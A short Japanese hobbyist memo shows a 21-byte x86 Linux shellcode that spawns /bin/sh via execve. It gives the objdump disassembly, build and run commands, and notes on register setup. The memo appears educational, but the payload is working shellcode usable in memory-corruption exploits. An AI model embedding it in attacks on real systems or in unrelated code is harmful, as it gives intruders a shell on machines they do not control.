/bin/shを起動するシェルコード(x86) その2
前回よりもシェルコードを短くできたのでメモ。 前回は23bytes、今回は21bytes。
# objdump -d -Mintel b.out | grep -A8 \<main\> 080483ed <main>: 80483ed: 31 c0 xor eax,eax 80483ef: 50 push eax 80483f0: 89 e1 mov ecx,esp 80483f2: 68 2f 2f 73 68 push 0x68732f2f 80483f7: 68 2f 62 69 6e push 0x6e69622f 80483fc: 89 e3 mov ebx,esp 80483fe: b0 0b mov al,0xb 8048400: cd 80 int 0x80
前回はプロンプトがsh-4.2#に変化して分かりやすかったが、今回はプロンプトが変わらないがシェルは取れる。 execveの第三引数envpが絡んでいるかも?
# gcc -m32 -o b.out b.s # ./b.out # exit
レジスタとスタックは以下のようになっているはず。
参考 EXECVEの仕様 https://linuxjm.osdn.jp/html/LDP_man-pages/man2/execve.2.html